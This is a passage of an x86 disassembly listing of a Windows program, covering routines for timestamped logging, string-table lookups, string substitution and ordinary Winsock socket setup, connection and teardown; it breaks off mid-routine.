		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43E0B0
		call	sub_4368EA
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
sub_4198C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419910:				; CODE XREF: ___:00401C85j
		call	near ptr 77C371D3h
		nop
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419930:				; CODE XREF: ___:0040151Ej
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419950:				; CODE XREF: ___:00401FC3j
		xor	al, al
		retn	4
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419970	proc near		; CODE XREF: sub_401523j

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		retn
sub_419970	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4199B0:				; CODE XREF: ___:00401505j
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_4199E3
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_4199E3
		mov	[esp+18h], eax


loc_4199E3:				; CODE XREF: ___:004199CBj
					; ___:004199DDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_506E6C


loc_4199F8:				; CODE XREF: ___:00419A49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419A4B
		cmp	byte ptr [esi],	0
		jz	short loc_419A34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419A28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419A28
		push	eax
		push	esi
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_419A34


loc_419A28:				; CODE XREF: ___:00419A0Fj
					; ___:00419A17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_401523
		add	esp, 10h


loc_419A34:				; CODE XREF: ___:00419A07j
					; ___:00419A26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50AE6C
		mov	[esp+14h], edx
		jl	short loc_4199F8


loc_419A4B:				; CODE XREF: ___:00419A02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: ___:00402266j
		push	ebx
		mov	ebx, dword_50FAF8
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_506E6C


loc_419AA2:				; CODE XREF: ___:00419ABEj
		cmp	byte ptr [esi],	0
		jz	short loc_419AB2
		push	edi
		push	esi
		call	ebx ; dword_50FAF8
		add	esp, 8
		test	eax, eax
		jnz	short loc_419AC6


loc_419AB2:				; CODE XREF: ___:00419AA5j
		add	esi, 80h
		cmp	esi, offset dword_50AE6C
		jl	short loc_419AA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419AC6:				; CODE XREF: ___:00419AB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419AE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	edi, dword_50FAFC
		mov	esi, offset dword_50AE6C


loc_419AFB:				; CODE XREF: sub_419AE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419B0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi ; dword_50FAFC
		add	esp, 0Ch


loc_419B0F:				; CODE XREF: sub_419AE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_506E6C
		jge	short loc_419AFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_506E6C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419AE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419BB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_50FAFC
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp ; dword_50FAFC
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419C21
		mov	[edx+180h], al


loc_419C21:				; CODE XREF: ___:00419C19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_419D32


loc_419C3F:				; CODE XREF: ___:00419D25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		nop
		call	near ptr 77C47C60h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp ; dword_50FAFC
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp ; dword_50FAFC
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419D00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419D00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419CDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		nop
		call	sub_5EDAB2
		add	esp, 14h
		jmp	short loc_419D00
; ---------------------------------------------------------------------------


loc_419CDD:				; CODE XREF: ___:00419CAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	sub_5EDAB2
		add	esp, 10h


loc_419D00:				; CODE XREF: ___:00419C8Aj
					; ___:00419C91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_50FAF8
		push	edx
		push	ebx
		call	esi ; dword_50FAF8
		add	esp, 8
		test	eax, eax
		jnz	short loc_419D2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi ; dword_50FAF8
		add	esp, 8
		test	eax, eax
		jnz	loc_419C3F


loc_419D2B:				; CODE XREF: ___:00419D16j
		mov	esi, [esp+614h]


loc_419D32:				; CODE XREF: ___:00419C39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp ; dword_50FAFC
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419DD0:				; CODE XREF: ___:004018CFj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419DEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419DEE:				; CODE XREF: ___:00419DE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419E39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E39:				; CODE XREF: ___:00419E2Fj
		push	7FFFFFFFh
		push	esi
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_419E51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E51:				; CODE XREF: ___:00419E47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419E90:				; CODE XREF: ___:00401E65j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4DE2E5


loc_419E98:				; CODE XREF: ___:00419EA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419EAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E5E55
		jle	short loc_419E98


loc_419EAA:				; CODE XREF: ___:00419E9Bj
		cmp	edi, 13h
		jle	short loc_419EB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419EB4:				; CODE XREF: ___:00419EADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4DE1EBh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_5EDAB2
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5EDAB2
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419F50	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D6775


loc_419F58:				; CODE XREF: sub_419F50+18j
		cmp	dword ptr [eax], 0
		jz	short loc_419F6A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4DE2E5
		jle	short loc_419F58


loc_419F6A:				; CODE XREF: sub_419F50+Bj
		cmp	edi, 13h
		jle	short loc_419F74
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419F74:				; CODE XREF: sub_419F50+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D667Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_5EDAB2
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5EDAB2
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_419F50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A010	proc near		; CODE XREF: sub_401C35j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43E0BC
		mov	eax, dword_50BB38
		test	eax, eax
		jnz	short loc_41A048
		mov	eax, dword_50BB38
		inc	eax
		mov	dword_50BB38, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		nop
		call	near ptr 71AB664Dh
		jmp	short loc_41A055
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_41A010+19j
		mov	edx, dword_50BB38
		inc	edx
		mov	dword_50BB38, edx


loc_41A055:				; CODE XREF: sub_41A010+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_446F70
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A0E0	proc near		; CODE XREF: ___:004018D4j sub_401AF5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FC8
		test	[esp+4+arg_0], 1
		jz	short loc_41A0F8
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_41A0F8:				; CODE XREF: sub_41A0E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A0E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401FC8j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43E0BC
		test	al, al
		jnz	short loc_41A125
		call	sub_4014DD


loc_41A125:				; CODE XREF: sub_41A110+Ej
		mov	eax, 1
		mov	ecx, dword_50BB38
		cmp	ecx, eax
		jle	short loc_41A140
		mov	eax, dword_50BB38
		dec	eax
		mov	dword_50BB38, eax

locret_41A13F:				; CODE XREF: sub_41A110:loc_41A140j
		retn
; ---------------------------------------------------------------------------


loc_41A140:				; CODE XREF: sub_41A110+22j
		jnz	short locret_41A13F
		mov	ecx, dword_50BB38
		dec	ecx
		mov	dword_50BB38, ecx
		jmp	near ptr 71AB4428h
sub_41A110	endp

; ---------------------------------------------------------------------------
		dd 909090E3h, 2	dup(90909090h),	8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_41A180:				; CODE XREF: ___:004015A0j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43ACCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jz	loc_41A231
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A1B9
		mov	al, 1
		jmp	short loc_41A231
; ---------------------------------------------------------------------------


loc_41A1B9:				; CODE XREF: ___:0041A1B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401636
		push	eax
		mov	ecx, esi
		call	sub_4020C7
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40186B
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A231:				; CODE XREF: ___:0041A1A5j
					; ___:0041A1B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A290	proc near		; CODE XREF: sub_40195Bj
		mov	al, byte_443DD0
		retn
sub_41A290	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A2B0	proc near		; CODE XREF: sub_4020C7j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A2D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A2D0:				; CODE XREF: sub_41A2B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A471
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A30A
		mov	ecx, esi
		call	sub_4014DD
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A30A:				; CODE XREF: sub_41A2B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A319
		push	1
		jmp	short loc_41A31B
; ---------------------------------------------------------------------------


loc_41A319:				; CODE XREF: sub_41A2B0+63j
		push	0


loc_41A31B:				; CODE XREF: sub_41A2B0+67j
		mov	ecx, esi
		call	sub_4018BB
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_50FC44
		test	eax, eax
		jge	short loc_41A3BC
		call	ebp ; dword_50FC44
		cmp	eax, 2733h
		jz	short loc_41A3AD
		call	ebp ; dword_50FC44
		cmp	eax, 0Bh
		jz	short loc_41A3AD
		call	ebp ; dword_50FC44
		cmp	eax, 2733h
		jz	short loc_41A3AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A2B0+D6j
					; sub_41A2B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A46A


loc_41A3BC:				; CODE XREF: sub_41A2B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_50FC80
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi ; dword_50FC80
		test	eax, eax
		jge	short loc_41A430


loc_41A3FB:				; CODE XREF: sub_41A2B0+17Ej
		call	ebp ; dword_50FC44
		call	ebp ; dword_50FC44
		cmp	eax, 4
		jnz	short loc_41A445
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A414
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A445


loc_41A414:				; CODE XREF: sub_41A2B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi ; dword_50FC80
		test	eax, eax
		jl	short loc_41A3FB


loc_41A430:				; CODE XREF: sub_41A2B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A461
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A463
; ---------------------------------------------------------------------------


loc_41A445:				; CODE XREF: sub_41A2B0+152j
					; sub_41A2B0+162j
		mov	ecx, esi
		call	sub_4014DD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A461:				; CODE XREF: sub_41A2B0+189j
		push	0


loc_41A463:				; CODE XREF: sub_41A2B0+193j
		mov	ecx, esi
		call	sub_4018BB


loc_41A46A:				; CODE XREF: sub_41A2B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A471:				; CODE XREF: sub_41A2B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A2B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A500	proc near		; CODE XREF: sub_4014DDj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41A51A:				; CODE XREF: sub_41A500+Cj
					; sub_41A500+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A500	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A540	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_446F70
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A540	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A5B0	proc near		; CODE XREF: sub_401488j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A5C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5C6:				; CODE XREF: sub_41A5B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A67F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A5FB
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5FB:				; CODE XREF: sub_41A5B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41A654
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A654:				; CODE XREF: sub_41A5B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A678
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A678:				; CODE XREF: sub_41A5B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A67F:				; CODE XREF: sub_41A5B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A5B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6D0	proc near		; CODE XREF: sub_401B81j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A6EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A6EE:				; CODE XREF: sub_41A6D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A705
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A705:				; CODE XREF: sub_41A6D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A781
		call	sub_40195B
		test	al, al
		jz	short loc_41A774
		mov	edi, dword_50FC80


loc_41A71E:				; CODE XREF: sub_41A6D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi ; dword_50FC80
		test	eax, eax
		jz	short loc_41A76B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A781


loc_41A76B:				; CODE XREF: sub_41A6D0+84j
		call	sub_40195B
		test	al, al
